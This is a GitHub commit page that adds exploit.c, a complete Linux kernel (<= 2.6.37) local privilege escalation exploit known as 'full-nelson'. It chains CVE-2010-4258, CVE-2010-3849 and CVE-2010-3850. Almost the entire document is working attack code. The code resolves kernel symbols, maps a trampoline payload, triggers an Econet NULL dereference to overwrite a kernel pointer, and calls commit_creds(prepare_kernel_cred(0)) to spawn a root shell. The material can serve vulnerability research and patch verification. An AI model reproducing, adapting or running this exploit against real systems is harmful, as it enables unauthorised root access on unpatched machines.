Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 23243dc

Browse files
committed
1 parent a0fcc7f commit 23243dc

File tree

1 file changed

+278
-0
lines changed

1 file changed

+278
-0
lines changed

CVE-2010-4258/exploit.c

+278
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,278 @@
1+
/*
2+
* Linux Kernel <= 2.6.37 local privilege escalation
3+
* by Dan Rosenberg
4+
* @djrbliss on twitter
5+
*
6+
* Usage:
7+
* gcc full-nelson.c -o full-nelson
8+
* ./full-nelson
9+
*
10+
* This exploit leverages three vulnerabilities to get root, all of which were
11+
* discovered by Nelson Elhage:
12+
*
13+
* CVE-2010-4258
14+
* -------------
15+
* This is the interesting one, and the reason I wrote this exploit. If a
16+
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
17+
* word will be written to a user-specified pointer when that thread exits.
18+
* This write is done using put_user(), which ensures the provided destination
19+
* resides in valid userspace by invoking access_ok(). However, Nelson
20+
* discovered that when the kernel performs an address limit override via
21+
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
22+
* etc.), this override is not reverted before calling put_user() in the exit
23+
* path, allowing a user to write a NULL word to an arbitrary kernel address.
24+
* Note that this issue requires an additional vulnerability to trigger.
25+
*
26+
* CVE-2010-3849
27+
* -------------
28+
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
29+
* fairly benign as a local denial-of-service. It's a perfect candidate to
30+
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
31+
* subsequently calls sendmsg under KERNEL_DS.
32+
*
33+
* CVE-2010-3850
34+
* -------------
35+
* I wouldn't be able to reach the NULL pointer dereference and trigger the
36+
* OOPS if users weren't able to assign Econet addresses to arbitrary
37+
* interfaces due to a missing capabilities check.
38+
*
39+
* In the interest of public safety, this exploit was specifically designed to
40+
* be limited:
41+
*
42+
* * The particular symbols I resolve are not exported on Slackware or Debian
43+
* * Red Hat does not support Econet by default
44+
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
45+
* Debian
46+
*
47+
* However, the important issue, CVE-2010-4258, affects everyone, and it would
48+
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
49+
* more sophisticated version of this that doesn't have the roadblocks I put in
50+
* to prevent abuse by script kiddies.
51+
*
52+
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
53+
*
54+
* NOTE: the exploit process will deadlock and stay in a zombie state after you
55+
* exit your root shell because the Econet thread OOPSes while holding the
56+
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
57+
*
58+
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
59+
*/
60+
61+
// EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions
62+
63+
#include <stdio.h>
64+
#include <sys/socket.h>
65+
#include <fcntl.h>
66+
#include <sys/ioctl.h>
67+
#include <string.h>
68+
#include <net/if.h>
69+
#include <sched.h>
70+
#include <stdlib.h>
71+
#include <signal.h>
72+
#include <sys/utsname.h>
73+
#include <sys/mman.h>
74+
#include <unistd.h>
75+
76+
/* How many bytes should we clear in our
77+
* function pointer to put it into userspace? */
78+
#ifdef __x86_64__
79+
#define SHIFT 24
80+
#define OFFSET 3
81+
#else
82+
#define SHIFT 8
83+
#define OFFSET 1
84+
#endif
85+
86+
/* thanks spender... */
87+
unsigned long get_kernel_sym(char *name)
88+
{
89+
FILE *f;
90+
unsigned long addr;
91+
char dummy;
92+
char sname[512];
93+
struct utsname ver;
94+
int ret;
95+
int rep = 0;
96+
int oldstyle = 0;
97+
98+
f = fopen("/proc/kallsyms", "r");
99+
if (f == NULL) {
100+
f = fopen("/proc/ksyms", "r");
101+
if (f == NULL)
102+
goto fallback;
103+
oldstyle = 1;
104+
}
105+
106+
repeat:
107+
ret = 0;
108+
while(ret != EOF) {
109+
if (!oldstyle)
110+
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
111+
else {
112+
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
113+
if (ret == 2) {
114+
char *p;
115+
if (strstr(sname, "_O/") || strstr(sname, "_S."))
116+
continue;
117+
p = strrchr(sname, '_');
118+
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
119+
p = p - 4;
120+
while (p > (char *)sname && *(p - 1) == '_')
121+
p--;
122+
*p = '\0';
123+
}
124+
}
125+
}
126+
if (ret == 0) {
127+
fscanf(f, "%s\n", sname);
128+
continue;
129+
}
130+
if (!strcmp(name, sname)) {
131+
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
132+
"");
133+
fclose(f);
134+
return addr;
135+
}
136+
}
137+
138+
fclose(f);
139+
if (rep)
140+
return 0;
141+
fallback:
142+
uname(&ver);
143+
if (strncmp(ver.release, "2.6", 3))
144+
oldstyle = 1;
145+
sprintf(sname, "/boot/System.map-%s", ver.release);
146+
f = fopen(sname, "r");
147+
if (f == NULL)
148+
return 0;
149+
rep = 1;
150+
goto repeat;
151+
}
152+
153+
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
154+
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
155+
_commit_creds commit_creds;
156+
_prepare_kernel_cred prepare_kernel_cred;
157+
158+
static int __attribute__((regparm(3)))
159+
getroot(void * file, void * vma)
160+
{
161+
162+
commit_creds(prepare_kernel_cred(0));
163+
return -1;
164+
165+
}
166+
167+
/* Why do I do this? Because on x86-64, the address of
168+
* commit_creds and prepare_kernel_cred are loaded relative
169+
* to rip, which means I can't just copy the above payload
170+
* into my landing area. */
171+
void __attribute__((regparm(3)))
172+
trampoline()
173+
{
174+
175+
#ifdef __x86_64__
176+
asm("mov $getroot, %rax; call *%rax;");
177+
#else
178+
asm("mov $getroot, %eax; call *%eax;");
179+
#endif
180+
181+
}
182+
183+
/* Triggers a NULL pointer dereference in econet_sendmsg
184+
* via sock_no_sendpage, so it's under KERNEL_DS */
185+
int trigger(int * fildes)
186+
{
187+
int ret;
188+
struct ifreq ifr;
189+
190+
memset(&ifr, 0, sizeof(ifr));
191+
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
192+
193+
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
194+
195+
if(ret < 0) {
196+
printf("[*] Failed to set Econet address.\n");
197+
return -1;
198+
}
199+
200+
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
201+
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
202+
203+
/* Shouldn't get here... */
204+
exit(0);
205+
}
206+
207+
int main(int argc, char * argv[])
208+
{
209+
unsigned long econet_ops, econet_ioctl, target, landing;
210+
int fildes[4], pid;
211+
void * newstack, * payload;
212+
213+
/* Create file descriptors now so there are two
214+
references to them after cloning...otherwise
215+
the child will never return because it
216+
deadlocks when trying to unlock various
217+
mutexes after OOPSing */
218+
pipe(fildes);
219+
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
220+
fildes[3] = open("/dev/zero", O_RDONLY);
221+
222+
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
223+
printf("[*] Failed to open file descriptors.\n");
224+
return -1;
225+
}
226+
227+
/* Resolve addresses of relevant symbols */
228+
printf("[*] Resolving kernel addresses...\n");
229+
econet_ioctl = get_kernel_sym("econet_ioctl");
230+
econet_ops = get_kernel_sym("econet_ops");
231+
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
232+
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
233+
234+
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
235+
printf("[*] Failed to resolve kernel symbols.\n");
236+
return -1;
237+
}
238+
239+
if(!(newstack = malloc(65536))) {
240+
printf("[*] Failed to allocate memory.\n");
241+
return -1;
242+
}
243+
244+
printf("[*] Calculating target...\n");
245+
target = econet_ops + 10 * sizeof(void *) - OFFSET;
246+
247+
/* Clear the higher bits */
248+
landing = econet_ioctl << SHIFT >> SHIFT;
249+
250+
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
251+
PROT_READ | PROT_WRITE | PROT_EXEC,
252+
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
253+
254+
if ((long)payload == -1) {
255+
printf("[*] Failed to mmap() at target address.\n");
256+
return -1;
257+
}
258+
259+
memcpy((void *)landing, &trampoline, 1024);
260+
261+
clone((int (*)(void *))trigger,
262+
(void *)((unsigned long)newstack + 65536),
263+
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
264+
&fildes, NULL, NULL, target);
265+
266+
sleep(1);
267+
268+
printf("[*] Triggering payload...\n");
269+
ioctl(fildes[2], 0, NULL);
270+
271+
if(getuid()) {
272+
printf("[*] Exploit failed to get root.\n");
273+
return -1;
274+
}
275+
276+
printf("[*] Got root!\n");
277+
execl("/bin/sh", "/bin/sh", NULL);
278+
}

0 commit comments

Comments
 (0)